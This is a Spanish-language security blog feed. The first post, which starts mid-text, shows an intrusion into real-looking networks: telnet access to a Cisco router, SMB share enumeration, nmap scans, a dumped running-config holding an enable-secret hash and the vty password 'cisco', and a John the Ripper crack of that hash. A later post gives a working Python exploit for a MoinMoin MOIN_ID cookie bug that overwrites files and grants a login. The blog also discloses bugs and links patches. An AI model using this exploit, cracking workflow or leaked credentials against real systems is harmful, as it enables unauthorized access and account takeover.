efectivamente sÍ esta navegando a traves del HotspoT y no por medio de alguien mas que estará seguramente capturando sus cookies, sus sesiones, sus claves, sus charlas de MSN, sus charlas de GTALK, AIM, AOL, ICQ, JABBER.<br /><br />En resumen2:<br />Nunca podra saber si esta navegando a traves del HotspoT o por medio de alguien, lo siento, el resumen lo cambio a:<br />Si esta en un HotspoT, no haga cosas importantes, como por ejemplo hablar de usted, decir lo que piensa, hacer citas, describirse, opinar en foros, chats, esto le permitirá a ese usuario perfiilarlo y con eso encontrar sus claves. Lo peor es que siempre podrá encontrar sus claves así las cambie, porque ya lo conoce.<br /><br /><br /><span style="font-size:180%;">En una ciudad (es peor?):</span><br /><br /><span style="color: rgb(153, 102, 51);">debian:/# telnet 192.168.1.252</span><br /><span style="color: rgb(153, 102, 51);">Trying 192.168.1.252...</span><br /><span style="color: rgb(153, 102, 51);">Connected to 192.168.1.252.</span><br /><span style="color: rgb(153, 102, 51);">Escape character is '^]'.</span><br /><br /><br /><span style="color: rgb(153, 102, 51);">User Access Verification</span><br /><br /><span style="color: rgb(153, 102, 51);">Password:</span><br /><span style="color: rgb(153, 102, 51);">Router_NAT_Puente_Aereo>enable</span><br /><span style="color: rgb(153, 102, 51);">Password:</span><br /><span style="color: rgb(153, 102, 51);">Router_NAT_Puente_Aereo#</span><br /><br />then ...<br /><br /><span style="color: rgb(0, 0, 153);">cocolizo@debian:~$ smbclient -L 192.168.1.25</span><br /><span style="color: rgb(0, 0, 153);">Password:</span><br /><span style="color: rgb(204, 0, 0);">Domain=[GERENCIA] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]</span><br /><br /><span style="color: rgb(0, 0, 153);"> Sharename Type Comment</span><br /><span style="color: rgb(0, 0, 153);"> --------- ---- -------</span><br /><span style="color: rgb(0, 0, 153);"> IPC$ IPC Remote IPC</span><br /><span style="color: rgb(0, 0, 153);"> D$ Disk Default share</span><br /><span style="color: rgb(0, 0, 153);"> print$ Disk Printer Drivers</span><br /><span style="color: rgb(0, 0, 153);"> <span style="color: rgb(204, 0, 0);">SharedDocs </span> Disk</span><br /><span style="color: rgb(0, 0, 153);"> <span style="color: rgb(204, 0, 0);">ADMIN$</span> Disk Remote Admin</span><br /><span style="color: rgb(0, 0, 153);"> C$ Disk Default share</span><br /><span style="color: rgb(0, 0, 153);">session request to 192.168.1.25 failed (Called name not present)</span><br /><span style="color: rgb(0, 0, 153);">session request to 192 failed (Called name not present)</span><br /><span style="color: rgb(0, 0, 153);">Domain=[GERENCIA] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]</span><br /><br /><span style="color: rgb(0, 0, 153);"> Server Comment</span><br /><span style="color: rgb(0, 0, 153);"> --------- -------</span><br /><br /><span style="color: rgb(0, 0, 153);"> Workgroup Master</span><br /><span style="color: rgb(0, 0, 153);"> --------- -------</span><br /><span style="color: rgb(0, 0, 153);">perezgil@debian:~$</span><br /><br />then ...<br /><br /><span style="color: rgb(0, 102, 0);">debian:/# nmap 192.168.1.252</span><br /><br /><span style="color: rgb(0, 102, 0);">Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-11-16 06:18 COT</span><br /><span style="color: rgb(0, 102, 0);">Interesting ports on 192.168.1.252:</span><br /><span style="color: rgb(0, 102, 0);">Not shown: 1679 closed ports</span><br /><span style="color: rgb(0, 102, 0);">PORT STATE SERVICE</span><br /><span style="color: rgb(0, 102, 0);">23/tcp open telnet</span><br /><span style="color: rgb(0, 102, 0);">MAC Address: 00:04:DD:0C:BD:F3 (Cisco Systems)</span><br /><br /><span style="color: rgb(0, 102, 0);">Nmap finished: 1 IP address (1 host up) scanned in 8.335 seconds</span><br /><span style="color: rgb(0, 102, 0);">debian:/home/testing/Desktop/nmbscan-1.2.4# nmap 192.168.1.253</span><br /><br /><span style="color: rgb(0, 102, 0);">Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-11-16 06:19 COT</span><br /><span style="color: rgb(0, 102, 0);">Interesting ports on 192.168.1.253:</span><br /><span style="color: rgb(0, 102, 0);">Not shown: 1678 closed ports</span><br /><span style="color: rgb(0, 102, 0);">PORT STATE SERVICE</span><br /><span style="color: rgb(0, 102, 0);">23/tcp open telnet</span><br /><span style="color: rgb(0, 102, 0);">80/tcp open http</span><br /><span style="color: rgb(0, 102, 0);">MAC Address: 00:0A:41:23:AC:00 (Cisco Systems)</span><br /><br /><span style="color: rgb(0, 102, 0);">Nmap finished: 1 IP address (1 host up) scanned in 9.633 seconds</span><br /><span style="color: rgb(0, 102, 0);">debian:/#</span><br /><br />then ...<br /><br /><span style="color: rgb(102, 51, 102);">debian:/home/police/portatil# cat log4</span><br /><span style="color: rgb(102, 51, 102);">Router_NAT_Puente_Aereo#show running-config</span><br /><span style="color: rgb(102, 51, 102);">Building configuration...</span><br /><br /><span style="color: rgb(102, 51, 102);">Current configuration : 1458 bytes</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">version 12.2</span><br /><span style="color: rgb(102, 51, 102);">service timestamps debug uptime</span><br /><span style="color: rgb(102, 51, 102);">service timestamps log uptime</span><br /><span style="color: rgb(102, 51, 102);">no service password-encryption</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">hostname Router_NAT_Puente_Aereo</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">logging buffered 51200 warnings</span><br /><span style="color: rgb(102, 51, 102);">enable secret 5 $1$e.68$du0SEpfijiA228uacanXU1</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">memory-size iomem 15</span><br /><span style="color: rgb(102, 51, 102);">clock timezone BOGOTA -5</span><br /><span style="color: rgb(102, 51, 102);">ip subnet-zero</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">ip name-server 200.13.249.101</span><br /><span style="color: rgb(102, 51, 102);">ip name-server 200.75.78.78</span><br /><span style="color: rgb(102, 51, 102);">ip dhcp excluded-address 192.168.1.1 192.168.1.11</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">ip dhcp pool pteaereo</span><br /><span style="color: rgb(102, 51, 102);"> network 192.168.1.0 255.255.255.0</span><br /><span style="color: rgb(102, 51, 102);"> dns-server 200.13.249.101 200.75.78.78</span><br /><span style="color: rgb(102, 51, 102);"> default-router 192.168.1.252</span><br /><span style="color: rgb(102, 51, 102);"> lease 0 0 30</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">ip dhcp-server 192.168.254.252</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">interface Ethernet0/0</span><br /><span style="color: rgb(102, 51, 102);"> description Conexion al Switch LAN WiFi</span><br /><span style="color: rgb(102, 51, 102);"> ip address 192.168.1.252 255.255.255.0</span><br /><span style="color: rgb(102, 51, 102);"> ip nat inside</span><br /><span style="color: rgb(102, 51, 102);"> load-interval 30</span><br /><span style="color: rgb(102, 51, 102);"> half-duplex</span><br /><span style="color: rgb(102, 51, 102);"> no cdp enable</span><br /><span style="color: rgb(102, 51, 102);"> hold-queue 100 out</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">interface FastEthernet0/0</span><br /><span style="color: rgb(102, 51, 102);"> description Conexion Back-to-back al CPE</span><br /><span style="color: rgb(102, 51, 102);"> ip address 201.232.227.234 255.255.255.248</span><br /><span style="color: rgb(102, 51, 102);"> ip nat outside</span><br /><span style="color: rgb(102, 51, 102);"> load-interval 30</span><br /><span style="color: rgb(102, 51, 102);"> speed auto</span><br /><span style="color: rgb(102, 51, 102);"> no cdp enable</span><br /><span style="color: rgb(102, 51, 102);"> hold-queue 100 out</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">ip nat translation max-entries 3000</span><br /><span style="color: rgb(102, 51, 102);">ip nat pool pteaereo 201.232.227.235 201.232.227.237 netmask 255.255.255.248</span><br /><span style="color: rgb(102, 51, 102);">ip nat inside source list 1 pool pteaereo overload</span><br /><span style="color: rgb(102, 51, 102);">ip classless</span><br /><span style="color: rgb(102, 51, 102);">ip route 0.0.0.0 0.0.0.0 201.232.227.233</span><br /><span style="color: rgb(102, 51, 102);">no ip http server</span><br /><span style="color: rgb(102, 51, 102);">ip pim bidir-enable</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">access-list 1 permit 192.168.1.0 0.0.0.255</span><br /><span style="color: rgb(102, 51, 102);">no cdp run</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">call rsvp-sync</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">mgcp profile default</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">dial-peer cor custom</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">line con 0</span><br /><span style="color: rgb(102, 51, 102);">line aux 0</span><br /><span style="color: rgb(102, 51, 102);">line vty 0 4</span><br /><span style="color: rgb(102, 51, 102);"> password cisco</span><br /><span style="color: rgb(102, 51, 102);"> login</span><br /><span style="color: rgb(102, 51, 102);">!</span><br /><span style="color: rgb(102, 51, 102);">no scheduler allocate</span><br /><span style="color: rgb(102, 51, 102);">end</span><br /><br /><span style="color: rgb(102, 51, 102);">Router_NAT_Puente_Aereo#</span><br /><br />then ...<br /><br />just for checking, i know what it is.<br /><br /><span style="color: rgb(153, 51, 0);">debian:/home/john/john-1.7.2/run# cat ../../pass </span><br /><span style="color: rgb(153, 51, 0);">root:$1$e.68$du0SEpfijiA228uacanXU1::::::::</span><br /><span style="color: rgb(153, 51, 0);">debian:/home/john/portatil/john-1.7.2/run# ./john ../../pass </span><br /><span style="color: rgb(153, 51, 0);">Loaded 1 password hash (FreeBSD MD5 [32/32])</span><br /><span style="color: rgb(153, 51, 0);">cisco (root)</span><br /><span style="color: rgb(153, 51, 0);">guesses: 1 time: 0:00:00:57 (3) c/s: 3165 trying: cisco</span><br /><span style="color: rgb(153, 51, 0);">debian:/home/john/portatil/john-1.7.2/run# cat ./john.pot </span><br /><span style="color: rgb(153, 51, 0);">$1$e.68$du0SEpfijiA228uacanXU1:cisco</span><br /><span style="color: rgb(153, 51, 0);">debian:/home/john/portatil/john-1.7.2/run# </span><br /><br /><br /><span style="font-size:180%;">En otra ciudad (es mejor?):</span><br /><br /><span style="color: rgb(255, 204, 51);">debian:/home/scanner/portatil# cat nothing.txt </span><br /><span style="color: rgb(255, 204, 51);">Trying 192.168.10.14...</span><br /><span style="color: rgb(255, 204, 51);">Connected to 192.168.10.14.</span><br /><span style="color: rgb(255, 204, 51);">Escape character is '^]'.</span><br /><br /><span style="color: rgb(255, 204, 51);">Catalyst 1900 Management Console</span><br /><span style="color: rgb(255, 204, 51);">Copyright (c) Cisco Systems, Inc. 1993-1998</span><br /><span style="color: rgb(255, 204, 51);">All rights reserved.</span><br /><span style="color: rgb(255, 204, 51);">Enterprise Edition Software</span><br /><span style="color: rgb(255, 204, 51);">Ethernet Address: 00-D0-C0-6D-CE-00</span><br /><br /><span style="color: rgb(255, 204, 51);">PCA Number: 73-3122-03</span><br /><span style="color: rgb(255, 204, 51);">PCA Serial Number: FAB03183C6N</span><br /><span style="color: rgb(255, 204, 51);">Model Number: WS-C1912-EN</span><br /><span style="color: rgb(255, 204, 51);">System Serial Number: FAB0320T02R</span><br /><span style="color: rgb(255, 204, 51);">Power Supply S/N: PHI031600M2</span><br /><span style="color: rgb(255, 204, 51);">Power Supply P/N: </span><br /><span style="color: rgb(255, 204, 51);">PCB Serial Number: FAB03183C6N,73-3122-03</span><br /><span style="color: rgb(255, 204, 51);">-------------------------------------------------</span><br /><br /><span style="color: rgb(255, 204, 51);">1 user(s) now active on Management Console.</span><br /><br /><span style="color: rgb(255, 204, 51);"> User Interface Menu</span><br /><br /><span style="color: rgb(255, 204, 51);"> [M] Menus</span><br /><span style="color: rgb(255, 204, 51);"> [K] Command Line</span><br /><br /><span style="color: rgb(255, 204, 51);">Enter Selection: M</span><br /><span style="color: rgb(255, 204, 51);">Enter password: ******</span><br /><br /><span style="color: rgb(255, 204, 51);">Incorrect password</span><br /><br /><span style="color: rgb(255, 204, 51);">Enter password: </span><br /><br /><span style="color: rgb(255, 204, 51);">Incorrect password</span><br /><br /><span style="color: rgb(255, 204, 51);">Enter password: </span><br /><br /><span style="color: rgb(255, 204, 51);">Incorrect password</span><br /><br /><span style="color: rgb(255, 204, 51);">Enter password: </span><br /><br /><span style="color: rgb(255, 204, 51);">Incorrect password</span><br /><br /><span style="color: rgb(255, 204, 51);">WARNING: Too many failed logon attempts.</span><br /><br /><span style="color: rgb(255, 153, 255);">debian:/home/babysister/portatil# cat ohyeah.txt </span><br /><span style="color: rgb(255, 153, 255);">Trying 192.168.10.14...</span><br /><span style="color: rgb(255, 153, 255);">Connected to 192.168.10.14.</span><br /><span style="color: rgb(255, 153, 255);">Escape character is '^]'.</span><br /><br /><span style="color: rgb(255, 153, 255);">Catalyst 1900 Management Console</span><br /><span style="color: rgb(255, 153, 255);">Copyright (c) Cisco Systems, Inc. 1993-1998</span><br /><span style="color: rgb(255, 153, 255);">All rights reserved.</span><br /><span style="color: rgb(255, 153, 255);">Enterprise Edition Software</span><br /><span style="color: rgb(255, 153, 255);">Ethernet Address: 00-D0-C0-6D-CE-00</span><br /><br /><span style="color: rgb(255, 153, 255);">PCA Number: 73-3122-03</span><br /><span style="color: rgb(255, 153, 255);">PCA Serial Number: FAB03183C6N</span><br /><span style="color: rgb(255, 153, 255);">Model Number: WS-C1912-EN</span><br /><span style="color: rgb(255, 153, 255);">System Serial Number: FAB0320T02R</span><br /><span style="color: rgb(255, 153, 255);">Power Supply S/N: PHI031600M2</span><br /><span style="color: rgb(255, 153, 255);">Power Supply P/N: </span><br /><span style="color: rgb(255, 153, 255);">PCB Serial Number: FAB03183C6N,73-3122-03</span><br /><span style="color: rgb(255, 153, 255);">-------------------------------------------------</span><br /><br /><span style="color: rgb(255, 153, 255);">1 user(s) now active on Management Console.</span><br /><br /><span style="color: rgb(255, 153, 255);"> User Interface Menu</span><br /><br /><span style="color: rgb(255, 153, 255);"> [M] Menus</span><br /><span style="color: rgb(255, 153, 255);"> [K] Command Line</span><br /><br /><span style="color: rgb(255, 153, 255);">Enter Selection: M</span><br /><span style="color: rgb(255, 153, 255);">Enter password: ******</span><br /><br /><span style="color: rgb(255, 153, 255);">Incorrect password</span><br /><br /><span style="color: rgb(255, 153, 255);">Enter password: </span><br /><br /><span style="color: rgb(255, 153, 255);">Incorrect password</span><br /><br /><span style="color: rgb(255, 153, 255);">Enter password: </span><br /><br /><span style="color: rgb(255, 153, 255);">Incorrect password</span><br /><br /><span style="color: rgb(255, 153, 255);">Enter password: </span><br /><br /><span style="color: rgb(255, 153, 255);">Incorrect password</span><br /><br /><span style="color: rgb(255, 153, 255);">WARNING: Too many failed logon attempts.</span><br /><br /><span style="color: rgb(102, 102, 102);">debian:/home/fisher/portatil# cat Slog.txt </span><br /><span style="color: rgb(102, 102, 102);">Trying 192.168.10.14...</span><br /><span style="color: rgb(102, 102, 102);">Connected to 192.168.10.14.</span><br /><span style="color: rgb(102, 102, 102);">Escape character is '^]'.</span><br /><br /><br /><span style="color: rgb(102, 102, 102);">Catalyst 1900 Management Console</span><br /><span style="color: rgb(102, 102, 102);">Copyright (c) Cisco Systems, Inc. 1993-1998</span><br /><span style="color: rgb(102, 102, 102);">All rights reserved.</span><br /><span style="color: rgb(102, 102, 102);">Enterprise Edition Software</span><br /><span style="color: rgb(102, 102, 102);">Ethernet Address: 00-D0-C0-6D-CE-00</span><br /><br /><span style="color: rgb(102, 102, 102);">PCA Number: 73-3122-03</span><br /><span style="color: rgb(102, 102, 102);">PCA Serial Number: FAB03183C6N</span><br /><span style="color: rgb(102, 102, 102);">Model Number: WS-C1912-EN</span><br /><span style="color: rgb(102, 102, 102);">System Serial Number: FAB0320T02R</span><br /><span style="color: rgb(102, 102, 102);">Power Supply S/N: PHI031600M2</span><br /><span style="color: rgb(102, 102, 102);">Power Supply P/N: </span><br /><span style="color: rgb(102, 102, 102);">PCB Serial Number: FAB03183C6N,73-3122-03</span><br /><span style="color: rgb(102, 102, 102);">-------------------------------------------------</span><br /><br /><span style="color: rgb(102, 102, 102);">1 user(s) now active on Management Console.</span><br /><br /><span style="color: rgb(102, 102, 102);"> User Interface Menu</span><br /><br /><span style="color: rgb(102, 102, 102);"> [M] Menus</span><br /><span style="color: rgb(102, 102, 102);"> [K] Command Line</span><br /><br /><span style="color: rgb(102, 102, 102);">Enter Selection: K</span><br /><br /><br /><span style="color: rgb(102, 102, 102);"> CLI session with the switch is open.</span><br /><span style="color: rgb(102, 102, 102);"> To end the CLI session, enter [Exit].</span><br /><br /><span style="color: rgb(102, 102, 102);">sw>show version</span><br /><span style="color: rgb(102, 102, 102);">Cisco Catalyst 1900/2820 Enterprise Edition Software</span><br /><span style="color: rgb(102, 102, 102);">Version V8.01.00 </span><br /><span style="color: rgb(102, 102, 102);">Copyright (c) Cisco Systems, Inc. 1993-1998</span><br /><span style="color: rgb(102, 102, 102);">sw uptime is 11day(s) 03hour(s) 54minute(s) 49second(s) </span><br /><span style="color: rgb(102, 102, 102);">cisco Catalyst 1900 (486sxl) processor with 2048K/1024K bytes of memory</span><br /><span style="color: rgb(102, 102, 102);">Hardware board revision is 5</span><br /><span style="color: rgb(102, 102, 102);">Upgrade Status: No upgrade currently in progress. </span><br /><span style="color: rgb(102, 102, 102);">Config File Status: No configuration upload/download is in progress </span><br /><span style="color: rgb(102, 102, 102);">15 Fixed Ethernet/IEEE 802.3 interface(s)</span><br /><span style="color: rgb(102, 102, 102);">Base Ethernet Address: 00-D0-C0-6D-CE-00</span><br /><span style="color: rgb(102, 102, 102);">sw>?</span><br /><span style="color: rgb(102, 102, 102);">Exec commands:</span><br /><span style="color: rgb(102, 102, 102);"> enable Turn on privileged commands</span><br /><span style="color: rgb(102, 102, 102);"> exit Exit from the EXEC</span><br /><span style="color: rgb(102, 102, 102);"> help Description of the interactive help system</span><br /><span style="color: rgb(102, 102, 102);"> ping Send echo messages</span><br /><span style="color: rgb(102, 102, 102);"> session Tunnel to module</span><br /><span style="color: rgb(102, 102, 102);"> show Show running system information</span><br /><span style="color: rgb(102, 102, 102);"> terminal Set terminal line parameters</span><br /><span style="color: rgb(102, 102, 102);">sw></span><br /><span style="color: rgb(255, 0, 0);">sw>exit</span><br /><br /><span style="color: rgb(102, 102, 102);">CLI session with the switch is now closed.</span><br /><br /><span style="color: rgb(102, 102, 102);">Press any key to continue.</span></div>nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-12148213768819079352008-01-26T15:26:00.001-05:002008-01-26T15:31:30.869-05:00SCSA for SOLARIS 10 O.S.<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_qAkKS-aUuQk/R5uX3X6PggI/AAAAAAAAAIE/izU2nEZ73jI/s1600-h/certsun.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_qAkKS-aUuQk/R5uX3X6PggI/AAAAAAAAAIE/izU2nEZ73jI/s400/certsun.png" alt="" id="BLOGGER_PHOTO_ID_5159884775649935874" border="0" /></a>nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-87177905488916093972008-01-23T18:58:00.000-05:002008-01-23T19:05:44.635-05:00more XSS on MoinMoin<span style="font-weight: bold;">''' ENERO 23 '''</span><br /><br /><div style="text-align: justify;">Bueno, se encontraron varios bugs de <span style="color: rgb(51, 0, 153);">XSS</span>, todo se solucionó filtrando la salida de mensajes de error. <span style="font-style: italic;">Para los programadores:</span> es muy simple, solo fiiltren adecuadamente la salida de las variables que pueden contener datos adicionados por los usuarios nonroots y no tendran problemas.<br />;)<br /><br />pd: Thomas Waldmann, es una persona bastante diligente ;)<br /><br /><span style="color: rgb(153, 0, 0);">Ojalá y todos los proyectos de SL respondieran con esa misma rapidez.</span><br /><br />Los otros parches los pueden ver en:<br /><br /> <a href="http://hg.moinmo.in/moin/1.5/rev/db212dfc58ef">http://hg.moinmo.in/moin/1.5/rev/db212dfc58ef</a><br /></div>nonroot (c) 2008http://www.blogger.com/profile/07874512567547770654noreply@blogger.comtag:blogger.com,1999:blog-6456964801927997186.post-23249381731076929792008-01-21T23:50:00.000-05:002008-01-22T00:29:33.684-05:00Exploit code for MOIN_ID bug<span style="color: rgb(102, 0, 0);"><span style="color: rgb(255, 0, 0);"><br /><span style="font-weight: bold;"><span style="color: rgb(0, 0, 0);">'''ENERO 21''' 23:54</span><br /><br /></span>Remember, just for test, just for knowledge, it's a PoC.</span><br /><br />#</span><br /><span style="color: rgb(102, 0, 0);">#!/usr/bin/python</span><br /><span style="color: rgb(102, 0, 0);">#</span><br /><span style="color: rgb(102, 0, 0);">#Exploit for the MOIND_ID cookie Bug</span><br /><span style="color: rgb(102, 0, 0);"># MoinMoin 1.5.x</span><br /><span style="color: rgb(102, 0, 0);">#</span><br /><span style="color: rgb(102, 0, 0);">#Find your patch in : http://hg.moinmo.in/moin/1.5/rev/e69a16b6e630</span><br /><span style="color: rgb(102, 0, 0);">#</span><br /><span style="color: rgb(102, 0, 0);">#Bug and exploit coded by just a nonroot and colombian user</span><br /><span style="color: rgb(102, 0, 0);">#</span><br /><span style="color: rgb(102, 0, 0);">#Enero 21 de 2008</span><br /><span style="color: rgb(102, 0, 0);">#</span><br /><span style="color: rgb(102, 0, 0);">#Greets: el directorio and all the SL community</span><br /><span style="color: rgb(102, 0, 0);">#</span><br /><span style="color: rgb(102, 0, 0);"># </span><br /><span style="color: rgb(102, 0, 0);">import urllib2,sys</span><br /><span style="color: rgb(102, 0, 0);">print "MoinMoin host: i.e: http://127.0.0.1:8000/"</span><br /><span style="color: rgb(102, 0, 0);">host=raw_input("MoinMoin host ( include http and /): ")</span><br /><span style="color: rgb(102, 0, 0);">#info for the new user</span><br /><span style="color: rgb(102, 0, 0);">#</span><br /><span style="color: rgb(102, 0, 0);">#user for the test</span><br /><span style="color: rgb(102, 0, 0);">user='nonroot'</span><br /><span style="color: rgb(102, 0, 0);">#password for the test</span><br /><span style="color: rgb(102, 0, 0);">password='nonrootuser'</span><br /><span style="color: rgb(102, 0, 0);">#email for the test</span><br /><span style="color: rgb(102, 0, 0);">email='just@nonrootuser.co'</span><br /><span style="color: rgb(102, 0, 0);">#file to overwrite</span><br /><span style="color: rgb(102, 0, 0);">#by default this file is there, is there?</span><br /><span style="color: rgb(102, 0, 0);">archivo='README'</span><br /><span style="color: rgb(102, 0, 0);">#######</span><br /><span style="color: rgb(102, 0, 0);">#</span><br /><span style="color: rgb(102, 0, 0);">req = urllib2.Request(host) </span><br /><span style="color: rgb(102, 0, 0);">adddata="action=userform&name="+user+"&aliasname=ilikecolombianpeople&password="+password+"&password2="+password+"&email="+email+"&css_url=&edit_rows=20&theme_name=modern&editor_default=text&editor_ui=freechoice&tz_offset=0&datetime_fmt=&language=&remember_me=1&show_fancy_diff=1&show_toolbar=1&show_page_trail=1&quicklinks=podriamos-insertar-codigo-php-aqui-verdad-que-si&save=Save"</span><br /><span style="color: rgb(102, 0, 0);">headers={'Cookie':'MOIN_ID='+archivo}</span><br /><span style="color: rgb(102, 0, 0);">req = urllib2.Request(host+"UserPreferences/",adddata,headers) </span><br /><span style="color: rgb(102, 0, 0);">try:</span><br /><span style="color: rgb(102, 0, 0);"> r = urllib2.urlopen(req)</span><br /><span style="color: rgb(102, 0, 0);"> data=r.read()</span><br /><span style="color: rgb(102, 0, 0);">except urllib2.HTTPError:</span><br /><span style="color: rgb(102, 0, 0);"> print "Wait a minute, is posible that the file: "+archivo+" doesn't have permission to write, think well, and try again"</span><br /><span style="color: rgb(102, 0, 0);"> sys.exit(2)</span><br /><span style="color: rgb(102, 0, 0);">print "Ok, the file: "+archivo+" was created, and you can logging setting the cookie MOIN_ID='"+archivo+"'"+" in your browser."</span><br /><span style="color: rgb(102, 0, 0);">sys.exit(0)<br /><br /><span style="color: rgb(0, 0, 153);">Download it: </span><a style="color: rgb(0, 0, 153);" href="http://www.milw0rm.com/exploits/4957">http://www.milw0rm.com/exploits/4957</a></span>